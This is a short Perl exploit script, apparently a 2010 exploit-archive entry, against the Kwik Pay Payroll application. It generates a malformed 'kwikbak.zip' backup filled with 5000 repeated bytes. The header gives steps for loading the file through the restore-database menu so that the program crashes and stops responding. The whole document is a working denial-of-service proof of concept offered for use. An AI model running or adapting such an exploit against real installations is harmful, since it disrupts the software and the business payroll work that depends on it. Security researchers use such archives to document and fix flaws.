28 lines
No EOL
535 B
Perl
Executable file
28 lines
No EOL
535 B
Perl
Executable file
# Exploit Title: Kwik Pay Payroll .zip DoS
|
|
# Date: April 1, 2010
|
|
# Tested on: Windows XP SP3
|
|
# Cost: 100.00 AU
|
|
# Author: [anonymous]
|
|
# Site: [http://www.setfreesecurity.com]
|
|
#
|
|
# File -> Restore Database -> Find
|
|
# Locate zip file
|
|
# Click the restore button at the bottom
|
|
# Program Crash, and becomes unresponsive
|
|
#
|
|
# Happy April fools but no Joke here
|
|
#
|
|
# Phil 4:13
|
|
#
|
|
#!/usr/bin/perl
|
|
|
|
|
|
print "Generating nasty Backup\n";
|
|
|
|
my $data = "\x41" x 5000;
|
|
my $zip = "kwikbak.zip";
|
|
|
|
open (FILE, ">$zip");
|
|
print FILE "$data";
|
|
|
|
print "Done. . .\n" |